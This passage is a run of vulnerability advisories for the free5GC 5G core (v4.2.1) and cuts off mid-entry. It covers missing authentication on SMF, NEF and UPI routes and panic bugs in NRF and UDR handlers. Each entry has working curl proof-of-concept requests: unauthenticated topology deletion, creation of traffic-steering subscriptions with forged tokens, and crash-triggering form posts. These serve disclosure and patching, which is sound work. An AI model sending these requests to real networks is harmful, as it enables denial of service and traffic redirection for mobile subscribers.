``` curl -i http://10.100.200.6:8000/nsmf-oam/v1/ ``` ``` HTTP/1.1 401 Unauthorized ``` 2. Trigger: unauthenticated DELETE on the default AN node `gNB1`: ``` curl -i -X DELETE http://10.100.200.6:8000/upi/v1/upNodesLinks/gNB1 ``` ``` HTTP/1.1 500 Internal Server Error ``` 3. SMF container logs (`docker logs --tail 120 smf`) show topology mutation landing BEFORE the panic, and the panic stack pointing at `api_upi.go:99`: ``` [INFO][SMF][Init] UPNode [gNB1] found. Deleting it. [INFO][SMF][Init] Delete UPLink [UPF] <=> [gNB1]. [ERRO][SMF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/smf/internal/sbi.(*Server).DeleteUpNodeLink /go/src/free5gc/NFs/smf/internal/sbi/api_upi.go:99 +0x298 [INFO][SMF][GIN] | 500 | DELETE | /upi/v1/upNodesLinks/gNB1 ``` The lab state was manually restored after validation by re-creating the AN entry; that POST is restoration-only and is NOT a mitigation. ### Impact Three compounding defects on the same SMF SBI surface: 1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `UPI` route group, so the trigger is reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no session, no UE state needed. The same-instance `nsmf-oam` returning `401` proves the middleware is wired in elsewhere and only missing on UPI. 2. NULL pointer dereference (CWE-476) in `DeleteUpNodeLink`: the `Type == UPNODE_UPF` guard only covers the async release call, then `upNode.UPF.CancelAssociation()` runs unconditionally on AN-typed nodes that have a nil `UPF` field by construction. 3. Order of operations (CWE-755 / CWE-754): `UpNodeDelete(upNodeRef)` mutates the in-memory user-plane topology BEFORE the dereference panics, so the topology change lands even though the request returns 500. This makes the bug state-mutating, not just a plain panic. Any party that can reach SMF on the SBI can: - Delete arbitrary named entries (e.g. `gNB1`) from SMF's in-memory user-plane topology anonymously via a single `DELETE /upi/v1/upNodesLinks/{ref}` request, denying SMF's ability to consider that AN/UPF in subsequent UPF selection / PFCP path establishment for legitimate UE sessions. - Trigger a panic on the SMF goroutine for the deleted-AN case, even though Gin recovers the goroutine, leaving the topology in the mutated state above. - Repeat the trigger by name against any AN entry, sustaining the topology denial without ever authenticating. This is a strict superset of the impact in free5gc/free5gc#887 for this specific code path: same auth bypass, plus a concrete request-triggerable nil deref, plus state mutation that survives the panic. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/905 Upstream fix: https://github.com/free5gc/smf/pull/199 | |
| CVE-2026-44327 | cri | 0.59 | — | — | May 8, 2026 | ### Summary free5GC's NEF mounts the `nnef-oam` route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can hit the OAM route with no `Authorization` header at all and the handler returns `200 OK`. The current OAM handler is a stub that returns `null`, but the structural defect is route-group-scoped: the entire OAM route group has no inbound auth middleware, so every future OAM operation added to this group inherits the missing auth boundary by default. Same root cause as the NEF traffic-influence and PFD-management findings. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.0` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, yet the OAM route group is mounted without any inbound auth middleware and answers unauthenticated `GET`s with `200 OK`. Code evidence (paths in `free5gc/nef`): - OAM route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:60` - OAM route exposed at `/`: `NFs/nef/internal/sbi/api_oam.go:9` - OAM processor returns `200 OK` directly: `NFs/nef/internal/sbi/processor/oam.go:9` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` ### PoC Reproduced against the running NEF at `http://10.100.200.19:8000` with no `Authorization` header: ``` curl -i http://10.100.200.19:8000/nnef-oam/v1/ ``` Observed output: ``` HTTP/1.1 200 OK null ``` NEF container logs (`docker logs nef`) show the request being served while OAuth is enabled: ``` [INFO][NEF][GIN] | 200 | GET | /nnef-oam/v1/ ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the NEF OAM SBI route group. Severity is scored against the OAM route group's intended capability surface (Operations / Administration / Maintenance), NOT against the current stub handler. The current handler is a stub that returns `null`, but the defect is route-group-scoped: there is no auth middleware on the group at all, so every future OAM operation added behind this group inherits the missing inbound auth boundary by default. Any party that can reach NEF on the SBI can: - Probe and enumerate the OAM route surface anonymously today. - Hit any future OAM-group endpoint (read, modify, restart-style operations) anonymously, because the auth boundary does not exist for this group. Operators who assume `OAuth2 setting receive from NRF: true` enforces inbound auth on NEF are wrong for this route group. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/861 Upstream fix: https://github.com/free5gc/nef/pull/23 | |
| CVE-2026-44326 | cri | 0.59 | — | — | May 8, 2026 | ### Summary free5GC's NEF mounts the `3gpp-traffic-influence` API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no `Authorization` header at all, or with a forged bearer token (e.g. `Authorization: Bearer not-a-real-token`). This includes creating `AnyUeInd=true` subscriptions intended to affect group / any-UE traffic steering. The route group is also reachable even when the running config's `ServiceList` does not declare it, so operators who think they disabled the service via config are still exposed. This is the highest-impact NEF service exposure observed in the lab because it enables unauthenticated state changes on traffic-steering policy objects rather than read-only exposure. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.0` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, and its `ServiceList` only declares `nnef-pfdmanagement` and `nnef-oam`. Despite that, the `3gpp-traffic-influence` route group is mounted and reachable with no inbound auth middleware. Code evidence (paths in `free5gc/nef`): - Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:48` - CRUD routes exposed at `/:afID/subscriptions` and `/:afID/subscriptions/:subID`: `NFs/nef/internal/sbi/api_ti.go:13` - POST allocates AF/subscription state and writes traffic-influence data: `NFs/nef/internal/sbi/processor/ti.go:50` - PATCH looks up and updates the subscription, then calls UDR/PCF: `NFs/nef/internal/sbi/processor/ti.go:279` - DELETE looks up and removes the subscription: `NFs/nef/internal/sbi/processor/ti.go:355` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` - Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000`. 1. CREATE subscription with NO `Authorization` header at all -> `201 Created`: ``` curl -i \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-noauth","afAppId":"app-noauth","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.40 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-noauth","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-noauth/subscriptions ``` 2. CREATE second subscription with FORGED bearer token -> `201 Created`: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-high","afAppId":"app-high","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc","routeInfo":{"ipv4Addr":"10.60.0.2","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions ``` 3. READ with forged token -> `200 OK`: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 ``` 4. PATCH with forged token -> `500 Query to UDR failed` (still reaches business logic, not 401/403, so auth bypass confirmed): ``` curl -i -X PATCH \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc-updated"}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 ``` 5. DELETE with forged token -> `204 No Content`: ``` curl -i -X DELETE \ -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 ``` NEF container logs (`docker logs nef`) show the requests reaching business handlers and returning success / 500-from-business codes (never 401/403): ``` [INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-high] [INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-high/subscriptions [INFO][NEF][TraffInfl] PatchIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 500 | PATCH | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] GetIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 200 | GET | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] DeleteIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 204 | DELETE | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-noauth] [INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-noauth/subscriptions ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the highest-impact NEF SBI surface. Any party that can reach NEF on the SBI network can: - Create attacker-controlled traffic-influence subscriptions (including `AnyUeInd=true` group/any-UE subscriptions), redirecting AF traffic to attacker-chosen DNAIs and routing endpoints via SMF/UPF. - Read existing AF subscriptions, leaking traffic-steering policy data. - Patch existing subscriptions, modifying live traffic-steering decisions for legitimate AFs. - Delete subscriptions, denying service to legitimately provisioned traffic influence. The traffic-influence route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/859 Upstream fix: https://github.com/free5gc/nef/pull/23 | |
| CVE-2026-44325 | hig | 0.38 | — | — | May 8, 2026 | ### Summary free5GC's NRF root SBI endpoint `POST /oauth2/token` contains a parser-level type-confusion bug family. The handler in `NFs/nrf/internal/sbi/api_accesstoken.go` reflects over `models.NrfAccessTokenAccessTokenReq`, special-cases only plain `string` and `NrfNfManagementNfType` fields, and treats every other field as if it were a single `models.PlmnId`. The parsed `*models.PlmnId` is then assigned with `reflect.Value.Set()` to whichever field name the attacker put in the form body, which panics whenever the destination field's real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into `HTTP 500`, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable across at least 6 confirmed crashing fields. Note: `/oauth2/token` is unauthenticated by design (it is the OAuth2 token-issuance endpoint). So this is NOT framed as an auth-bypass finding -- it is a parser bug on an intentionally unauthenticated SBI endpoint. ### Details Validated against the NRF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nrf:v4.2.1` - Docker validation date: 2026-03-22 - NRF endpoint: `http://10.100.200.3:8000` Root cause is in the access-token request parser: - `NFs/nrf/internal/sbi/api_accesstoken.go:52` - `NFs/nrf/internal/sbi/api_accesstoken.go:87` - `NFs/nrf/internal/sbi/api_accesstoken.go:98` - `NFs/nrf/internal/sbi/api_accesstoken.go:100` - `NFs/nrf/internal/sbi/api_accesstoken.go:112` The model definition lives in `free5gc/openapi`: - `models/model_nrf_access_token_access_token_req.go:27` - `models/model_nrf_access_token_access_token_req.go:29` - `models/model_nrf_access_token_access_token_req.go:30` - `models/model_nrf_access_token_access_token_req.go:31` The parser's effective shape is: parse value as `*models.PlmnId`, then `dstField.Set(reflect.ValueOf(parsedPlmnId))`. Every destination field that is NOT `string` and NOT `NrfNfManagementNfType` falls into this branch, so any time the destination is a slice (`[]models.PlmnId`, `[]models.Snssai`, `[]models.PlmnIdNid`, `[]string`) or a different pointer type (`*models.PlmnIdNid`), the `reflect.Set` call panics with a runtime type-confusion error. Confirmed crashing fields in this DoS family (all reachable from a single unauthenticated form-encoded POST): - `requesterPlmnList` -> panic assigning `*models.PlmnId` to `[]models.PlmnId` - `requesterSnssaiList` -> panic assigning `*models.PlmnId` to `[]models.Snssai` - `requesterSnpnList` -> panic assigning `*models.PlmnId` to `[]models.PlmnIdNid` - `targetSnpn` -> panic assigning `*models.PlmnId` to `*models.PlmnIdNid` - `targetSnssaiList` -> panic assigning `*models.PlmnId` to `[]models.Snssai` - `targetNsiList` -> panic assigning `*models.PlmnId` to `[]string` ### PoC Reproduced end-to-end against the running NRF at `http://10.100.200.3:8000`. Each of the following single requests independently crashes the handler. 1. `requesterPlmnList` -> `[]models.PlmnId` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterPlmnList={"mcc":"208","mnc":"93"}' ``` 2. `requesterSnssaiList` -> `[]models.Snssai` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterSnssaiList={"mcc":"208","mnc":"93"}' ``` 3. `requesterSnpnList` -> `[]models.PlmnIdNid` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterSnpnList={"mcc":"208","mnc":"93"}' ``` 4. `targetSnpn` -> `*models.PlmnIdNid` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetSnpn={"mcc":"208","mnc":"93"}' ``` 5. `targetSnssaiList` -> `[]models.Snssai` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetSnssaiList={"mcc":"208","mnc":"93"}' ``` 6. `targetNsiList` -> `[]string` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetNsiList={"mcc":"208","mnc":"93"}' ``` Observed response (per request, no body returned): ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` NRF container logs (`docker logs nrf`) confirm the `reflect.Set` type-confusion panic in `HTTPAccessTokenRequest`, with the panic message changing per field type: ``` [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnId [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.Snssai [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnIdNid [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type *models.PlmnIdNid [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []string INFO][NRF][GIN] | 500 | POST | /oauth2/token | ``` ### Impact Type-confusion panic family (CWE-843) in the form-parser of an unauthenticated, network-reachable, root token-issuance endpoint, with no input validation on field types (CWE-20) and no defensive handling of the resulting panic before reflection (CWE-755). This is NOT framed as an auth-bypass finding: `/oauth2/token` is unauthenticated by design. It is also NOT a process-kill DoS: Gin recovery catches each panic and the NRF process keeps running, so legitimate clients can still get tokens between attacker requests. What the bug realistically gives an off-path attacker: - A reliable, unauthenticated, repeatable panic primitive on the root token endpoint, reachable from a single form-encoded POST. - Per-request CPU + log-write cost that is materially higher than a normal validation reject (`400`) would have been, because the panic generates a stack trace each time. - A class of at least 6 attacker-selectable form keys that all crash via the same root cause, so partial fixes that harden one field do not close the family. - Sustained-attack potential: under flood, the panic-amplification can degrade NRF token issuance (more expensive than `400` validation) and pollute logs / rotate out useful diagnostic history. No Confidentiality impact (`HTTP 500` with empty body, no stack trace returned to the caller). No Integrity impact (panic happens before any state change). Availability impact is limited to per-request degradation under sustained attack; a single request does not deny service to other clients. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/918 Upstream fix: https://github.com/free5gc/nrf/pull/83 | |
| CVE-2026-44324 | med | 0.19 | — | — | May 8, 2026 | ### Summary free5GC's UDR `nudr-dr` `DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions` handler panics on a single authenticated request against a fresh UDR instance when the supplied `ueId` does not exist in `UESubsCollection`. The processor checks `value, ok := udrSelf.UESubsCollection.Load(ueId)` and sets a `404 USER_NOT_FOUND` problem-details on the miss path, but execution continues and immediately runs `value.(*udr_context.UESubsData)` -- a Go type assertion on a nil interface, which panics with `interface conversion: interface {} is nil, not *context.UESubsData`. Gin recovery converts the panic into `HTTP 500`, but the endpoint remains repeatedly panicable. This is the no-precondition sibling of free5gc/free5gc#919: same handler, same bug pattern (set `pd`, do not return, then dereference), but the panic site is the nil-interface type assertion at line 61 instead of the nil-pointer deref at line 69. No earlier EE-subscription create is required. This endpoint requires a valid `nudr-dr` OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding. ### Details Validated against the UDR container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/udr:v4.2.1` - Runtime UDR commit: `754d23b0` - Docker validation date: 2026-03-22 - UDR endpoint: `http://10.100.200.11:8000` Vulnerable handler (the `ok` miss path sets `pd` but does not return; the next line type-asserts the nil interface): ```go subsId := c.Params.ByName("subsId") s.Processor().RemoveAmfSubscriptionsInfoProcedure(c, subsId, ueId) ``` In the processor: ```go value, ok := udrSelf.UESubsCollection.Load(ueId) if !ok { pd = util.ProblemDetailsNotFound("USER_NOT_FOUND") } UESubsData := value.(*udr_context.UESubsData) // panics: nil interface ``` When `ueId` is absent from `UESubsCollection`, `value` is the nil `interface{}` returned by `sync.Map.Load`, and `value.(*udr_context.UESubsData)` panics with: ``` panic: interface conversion: interface {} is nil, not *context.UESubsData ``` Code evidence (paths in `free5gc/udr`): - Route exposure + handler dispatch: - `NFs/udr/internal/sbi/api_datarepository.go:2161` - `NFs/udr/internal/sbi/api_datarepository.go:2170` - `NFs/udr/internal/sbi/api_datarepository.go:2172` - Panic root cause (nil interface type assertion): - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:53` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:56` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:61` ### PoC Reproduced end-to-end against the running UDR at `http://10.100.200.11:8000` -- single authenticated request, no preconditions. 1. Restart UDR (clean state -- proves no precondition is needed): ``` docker restart udr ``` 2. Obtain a valid `nudr-dr` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr' ``` 3. Trigger the panic with one DELETE for a nonexistent `ueId=x`: ``` curl -i -sS -X DELETE \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \ -H 'Authorization: Bearer <valid_nudr_dr_jwt>' ``` ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` 4. UDR container logs (`docker logs udr`) confirm the nil-interface conversion panic at `event_amf_subscription_info_document.go:61` inside `RemoveAmfSubscriptionsInfoProcedure`: ``` [ERRO][UDR][GIN] panic: interface conversion: interface {} is nil, not *context.UESubsData github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure .../event_amf_subscription_info_document.go:61 github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo .../api_datarepository.go:2172 [INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions | ``` ### Impact Incorrect type conversion on a nil interface (CWE-704) inside an authenticated UDR data-repository handler, caused by improper handling of the missing-ueId branch (CWE-754): the handler sets a `404` problem-details value but does not return, then runs a Go type assertion on the nil interface returned by `sync.Map.Load`. This is NOT framed as an auth-bypass finding: the endpoint requires a valid `nudr-dr` OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can: - Trigger a reliable, single-request panic on the `amf-subscriptions` delete route against a fresh UDR (no preparatory state needed -- this is strictly easier than free5gc/free5gc#919). - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended `404 USER_NOT_FOUND` response would have. No Confidentiality impact (the response is `500` with empty body). No Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running). Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/920 Upstream fix: https://github.com/free5gc/udr/pull/60 | |
| CVE-2026-44323 | med | 0.19 | — | — | May 8, 2026 | ### Summary free5GC's UDR `nudr-dr` `DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions` handler contains a nil-pointer dereference reachable from a single authenticated request, after one preparatory authenticated EE-subscription create. The handler checks `_, ok = UESubsData.EeSubscriptionCollection[subsId]` and sets a `404` problem-details on the miss path, but then continues to `UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos` -- dereferencing the same missing entry instead of returning. Gin recovery converts the panic into `HTTP 500`, but the endpoint remains repeatedly panicable. This endpoint requires a valid `nudr-dr` OAuth2 access token (i.e. PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding. ### Details Validated against the UDR container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/udr:v4.2.1` - Runtime UDR commit: `754d23b0` - Docker validation date: 2026-03-22 - UDR endpoint: `http://10.100.200.11:8000` Precondition (one authenticated EE-subscription create allocates UE state): ```go if !ok { udrSelf.UESubsCollection.Store(ueId, new(udr_context.UESubsData)) value, _ = udrSelf.UESubsCollection.Load(ueId) } ... UESubsData.EeSubscriptionCollection[newSubscriptionID] = new(udr_context.EeSubscriptionCollection) ``` Vulnerable handler (delete on amf-subscriptions): the `ok` miss path sets `pd` but does not return, so the very next line dereferences the nil entry: ```go _, ok = UESubsData.EeSubscriptionCollection[subsId] if !ok { pd = util.ProblemDetailsNotFound("SUBSCRIPTION_NOT_FOUND") } if UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos == nil { pd = util.ProblemDetailsNotFound("AMFSUBSCRIPTION_NOT_FOUND") } ``` When `subsId` is absent, `UESubsData.EeSubscriptionCollection[subsId]` is nil, and `.AmfSubscriptionInfos` panics with `runtime error: invalid memory address or nil pointer dereference`. Code evidence (paths in `free5gc/udr`): - Precondition route + handler (EE-subscription create that allocates UE state): - `NFs/udr/internal/sbi/api_datarepository.go:600` - `NFs/udr/internal/sbi/api_datarepository.go:602` - `NFs/udr/internal/sbi/api_datarepository.go:2528` - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:25` - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:30` - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:38` - Vulnerable delete route + dispatch: - `NFs/udr/internal/sbi/api_datarepository.go:2161` - `NFs/udr/internal/sbi/api_datarepository.go:2172` - Panic root cause (nil deref): - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:62` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:64` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:69` ### PoC Reproduced end-to-end against the running UDR at `http://10.100.200.11:8000`. 1. Restart UDR (clean state): ``` docker restart udr ``` 2. Obtain a valid `nudr-dr` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr' ``` 3. Create one EE subscription to populate `UESubsCollection` for `ueId=x`: ``` curl -i -sS -X POST \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/context-data/ee-subscriptions' \ -H 'Authorization: Bearer <valid_nudr_dr_jwt>' \ -H 'Content-Type: application/json' \ --data '{}' ``` ``` HTTP/1.1 201 Created ``` 4. Trigger the panic with a nonexistent `subsId`: ``` curl -i -sS -X DELETE \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \ -H 'Authorization: Bearer <valid_nudr_dr_jwt>' ``` ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` 5. UDR container logs (`docker logs udr`) confirm the nil-pointer panic at `event_amf_subscription_info_document.go:69` inside `RemoveAmfSubscriptionsInfoProcedure`: ``` [ERRO][UDR][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure .../event_amf_subscription_info_document.go:69 github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo .../api_datarepository.go:2172 [INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions | ``` ### Impact NULL pointer dereference (CWE-476) in an authenticated UDR data-repository handler, caused by improper handling of the missing-subsId branch (CWE-754): the handler sets a problem-details value but does not return, then dereferences the same missing map entry. This is NOT framed as an auth-bypass finding: the endpoint requires a valid `nudr-dr` OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can: - Trigger a reliable, repeatable nil-deref panic on the `amf-subscriptions` delete route after one preparatory POST that allocates UE state for the chosen `ueId`. - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended `404 SUBSCRIPTION_NOT_FOUND` response would have. No Confidentiality impact (the response is `500` with empty body; no UE data is returned to the attacker via the panic). No persistent Integrity impact from the panic itself (the EE subscription created during the precondition is in-memory state owned by UDR's intended data-repository semantics, and is not corrupted by the delete-time panic). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running). Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/919 Upstream fix: https://github.com/free5gc/udr/pull/60 | |
| CVE-2026-44322 | hig | 0.38 | — | — | May 8, 2026 | ### Summary free5GC's NEF `PATCH /3gpp-pfd-management/v1/{afId}/transactions/{transId}/applications/{appId}` handler panics with a nil-pointer dereference when the upstream UDR call fails AND the consumer wrapper returns `err != nil` together with a nil `*ProblemDetails`. The handler's `errPfdData != nil` branch builds its own `problemDetailsErr` correctly, but immediately after it reads `problemDetails.Cause` (the OTHER value, which is nil in this branch) and panics. Gin recovery converts the panic into `HTTP 500`, so a single PATCH against this endpoint returns 500 instead of the intended controlled error response whenever UDR access is failing. This is a second-order bug: the trigger requires UDR access to be failing (e.g. NRF or UDR is unreachable, registration broken, transient network failure). The attacker does not directly control that condition, so this is scored as AC:H. Once the upstream condition exists, the trigger is a single PATCH request and is repeatable. The HTTP request itself in v4.2.1 is reachable without an `Authorization` header because the underlying NEF `3gpp-pfd-management` route group is mounted without inbound auth middleware (see free5gc/free5gc#858). So in the validation lab the entire trigger chain is unauthenticated end-to-end. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.1` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-21 (container log timestamp `2026-03-21T03:06:36Z`) - NEF endpoint: `http://10.100.200.19:8000` Vulnerable handler logic in `PatchIndividualApplicationPFDManagement` (paraphrased): ```go pdfData, problemDetails, errPfdData := p.Consumer().AppDataPfdsAppIdGet(appID) switch { case problemDetails != nil: ... case errPfdData != nil: problemDetailsErr := &models.ProblemDetails{ Status: http.StatusInternalServerError, Detail: "Query to UDR failed", } c.Set(sbi.IN_PB_DETAILS_CTX_STR, problemDetails.Cause) // <-- nil deref c.JSON(int(problemDetailsErr.Status), problemDetailsErr) return } ``` In the `errPfdData != nil` branch, `problemDetails` is by construction nil (otherwise the first `case` would have matched). Reading `problemDetails.Cause` panics with `runtime error: invalid memory address or nil pointer dereference`. The intended value is presumably `problemDetailsErr.Cause` -- the locally constructed problem-details struct. Code evidence (paths in `free5gc/nef`): - Patch handler core path: - `NFs/nef/internal/sbi/processor/pfd.go:563` - `NFs/nef/internal/sbi/processor/pfd.go:610` - Panic site (nil-deref on `problemDetails.Cause`): - `NFs/nef/internal/sbi/processor/pfd.go:622` - Route exposure / dispatch: - `NFs/nef/internal/sbi/api_pfd.go:168` - `NFs/nef/internal/sbi/api_pfd.go:188` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000`. The trigger requires UDR access to be failing -- the lab simulates this by stopping NRF (so NEF's UDR client fails to discover/dial UDR). In production, equivalent triggers include NRF outages, UDR outages, or transient network failures. 1. Create an AF context (no Authorization header): ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afnpd3/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"afAppId":"app-nef-npd3","anyUeInd":true}' ``` 2. Create a PFD-management transaction: ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions' \ -H 'Content-Type: application/json' \ --data 